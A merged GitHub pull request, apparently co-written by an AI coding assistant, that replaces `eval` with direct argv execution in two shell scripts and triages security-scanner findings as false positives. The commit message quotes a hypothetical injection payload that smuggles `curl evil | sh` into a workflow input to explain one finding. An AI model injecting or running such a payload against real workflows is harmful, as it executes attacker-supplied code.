Skip to content

fix(scripts): remove eval from rsr-audit and fill-placeholders test (#939) - #1075

Merged
hyperpolymath merged 2 commits into
mainfrom
fix/hypatia-shell-exec
Sep 30, 2026
Merged

hyperpolymath merged 2 commits into
mainfrom
fix/hypatia-shell-exec

Conversation

@hyperpolymath

Copy link
Copy Markdown
Owner

Closes #939 (the true positives). The false positives go to a hypatia rule fix; the vendored satellites are tracked in #940.

Fixed: eval removed

  • rhodium-standard-repositories/rsr-audit.sh: check() ran eval "$command". It now runs "$@", and every call site passes a literal argv. Two small predicates were added: not() and has_ci_config().
  • scripts/tests/fill-placeholders-test.sh: ck() ran eval "$2". It now runs "$@".

Behaviour is unchanged. rsr-audit.sh gives byte-identical text output before and after on . and on rhodium-standard-repositories, with the same JSON score fields and the same exit codes. fill-placeholders-test.sh gives 14 passed / 0 failed both before and after.

False positives, not edited (these are the trigger lines for a hypatia rule fix):

  • setup.sh: a usage comment (curl -o … && less … && sh …, reviewed by a human), and install_just_verified(), which already downloads to mktemp and runs sha256sum -c before running anything.
  • scripts/tests/propagate-workflow-pins-test.sh: two comments that contain the word "eval" (# … (no eval), # … eval-free predicates).
  • .github/workflows/security-gate-pr-target.yml: an explanatory comment and the MALICIOUS_PATTERNS detection-regex array (data).
  • .github/workflows/tag-ruleset-canon.yml and tests/test_tag_ruleset_canon.sh: comments describing a hypothetical CWE-94 payload.

Also, in .hypatia-baseline.json the notes for the root-level setup.sh, rsr-audit.sh and scripts/tests/*.sh entries reuse the text "vendored satellite demo script pattern". That's wrong for these files; they are live and not vendored.

🤖 Generated with Claude Code

https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65

Hypatia content_patterns/eval_in_shell true positives:

- rhodium-standard-repositories/rsr-audit.sh: check() took a command
  string and ran it with `eval "$command"`. Replaced with a `"$@"`-based
  check() that takes a command and its args directly (shift past the
  description, exec "$@"), plus a small `not()` helper (mirrors
  `not_contains` in scripts/propagate-workflow-pins.sh's test suite) for
  the one negated predicate. Call sites converted from quoted command
  strings to literal argv: check_dir_exists/check_command_exists pass
  test/command-v directly; the CI/CD glob-or-file compound check became
  a tiny named predicate has_ci_config(); the "true" literal checks
  became the bare `true` command; the two grep -rq checks and the
  Reversibility test -d check lost one level of backslash escaping
  (`\\|` -> `\|`) since removing eval removes one string-reparse pass.
  Verified zero semantic drift: `rsr-audit.sh . --format json|text` and
  `rsr-audit.sh rhodium-standard-repositories --format json|text` before
  and after are byte-identical in text output and identical in
  total_checks/passed_checks/failed_checks/score/compliance_level/exit
  code (no existing regression test covers this script, so this was
  the verification method).

- scripts/tests/fill-placeholders-test.sh: ck() ran `eval "$2"` on a
  single-quoted command string. Replaced with a `"$@"`-based ck() that
  shifts past the description and execs the rest directly; all ~14 call
  sites dropped their outer single-quotes so the command is a normal
  argv list. `bash scripts/tests/fill-placeholders-test.sh` before and
  after both print "14 passed, 0 failed" with exit 0 (log-diffed,
  identical).

False positives (not edited; scanner matches its own detection
patterns/comments, no real eval or unverified download present):

- setup.sh: both download_then_run_shell hits are on (a) the top-of-file
  usage-documentation block recommending `curl -o ... && less ... && sh
  setup.sh` (human-reviewed, never piped, never eval'd by the script
  itself) and (b) install_just_verified()'s real curl call, which
  already downloads to a mktemp file and sha256sum -c verifies before
  any extraction/install (landed in 3079bc1, 2026-08-07, predating this
  issue's 2026-09-22 triage).
- scripts/tests/propagate-workflow-pins-test.sh: both eval_in_shell hits
  are on comments describing the *absence* of eval ("runs CMD as a real
  command (no eval)"; "Small eval-free predicates"). The file contains
  no eval call at all.
- .github/workflows/security-gate-pr-target.yml: hits are on (a) a
  comment illustrating a hypothetical injection payload and (b) the
  file's own MALICIOUS_PATTERNS bash array, which contains the literal
  detection regexes as data. Already marked FALSE POSITIVE in
  .hypatia-baseline.json.
- .github/workflows/tag-ruleset-canon.yml: hit is on a comment
  describing a hypothetical GitHub Actions expression-injection
  scenario ("a dispatch with limit = `0"; curl evil | sh; #`").
- tests/test_tag_ruleset_canon.sh: hit is on a comment block describing
  the same hypothetical injection scenario as the workflow above.

Skipped (vendored, tracked separately in standards#940):

- rhodium-standard-repositories/satellites/palimpsest-license/TOOLS/validation/install.sh
- rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-dns-discovery.sh
- rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-http-headers.sh

shellcheck (0.11.0) on both changed files: fill-placeholders-test.sh is
clean. rsr-audit.sh has only pre-existing warnings in code this change
didn't touch (SC2034 SCRIPT_DIR/has_lockfile, SC2126 grep|wc -l) plus
SC2329 "never invoked" info on not()/has_ci_config()/
check_command_exists() — a known shellcheck limitation: it does not
trace a function name passed as a bare argument into another function's
"$@" exec, which is exactly the eval-free pattern this fix introduces.
Both not() and has_ci_config() are confirmed invoked at runtime by the
before/after diff above; check_command_exists() was already unreferenced
dead code prior to this change and is out of scope here.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65
@coderabbitai

coderabbitai Bot commented Sep 30, 2026 •

Copy link
Copy Markdown
Contributor

Warning

Review limit reached

You've used all free OSS reviews for now. Wait for the free limit to reset to keep reviewing this public repository.

Next included review available in 45 minutes.

Check out review usage here.

View limit details

Limit details: You’ve used the included review currently available.

Learn how review limits work.

Review configuration:

⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Advanced

Run ID: 61d27f14-f671-4671-8b8f-caf118f01516

📥 Commits

Reviewing files that changed from the base of the PR and between 13baaa8 and 32788e2.

📒 Files selected for processing (2)
  • rhodium-standard-repositories/rsr-audit.sh
  • scripts/tests/fill-placeholders-test.sh
  • Autopilot · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Autopilot is currently an internal CodeRabbit preview.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@hyperpolymath
hyperpolymath enabled auto-merge (squash) September 30, 2026 10:20
@hyperpolymath
hyperpolymath merged commit 5f82b63 into main Sep 30, 2026
45 of 48 checks passed
@hyperpolymath
hyperpolymath deleted the fix/hypatia-shell-exec branch September 30, 2026 14:58
hyperpolymath added a commit that referenced this pull request Sep 30, 2026
…tale

#1072 and #1075 changed files under rhodium-standard-repositories/
without regenerating the registry, so `build-registry.sh --check` exits 1
on main. That reds "Registry + topology in sync" and both
build-registry-test.sh and build-scorecards-test.sh. And because the
test step fails, the "Lock-gate pin is not stale" step is skipped on
every PR. Output of `just registry`, one line.

Owner ruling D231: regenerate now; moving the registry off .a2ml stays
tracked in #1010/#479. Closes #1092.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QYY8Gp4v4x2J7iSNn1vZ57
hyperpolymath added a commit that referenced this pull request Sep 30, 2026
…tale

#1072 and #1075 changed files under rhodium-standard-repositories/
without regenerating the registry, so `build-registry.sh --check` exits 1
on main. That reds "Registry + topology in sync" and both
build-registry-test.sh and build-scorecards-test.sh. And because the
test step fails, the "Lock-gate pin is not stale" step is skipped on
every PR. Output of `just registry`, one line.

Owner ruling D231: regenerate now; moving the registry off .a2ml stays
tracked in #1010/#479. Closes #1092.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QYY8Gp4v4x2J7iSNn1vZ57
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Hypatia shell-exec patterns: download_then_run_shell + eval_in_shell (13 instances)

1 participant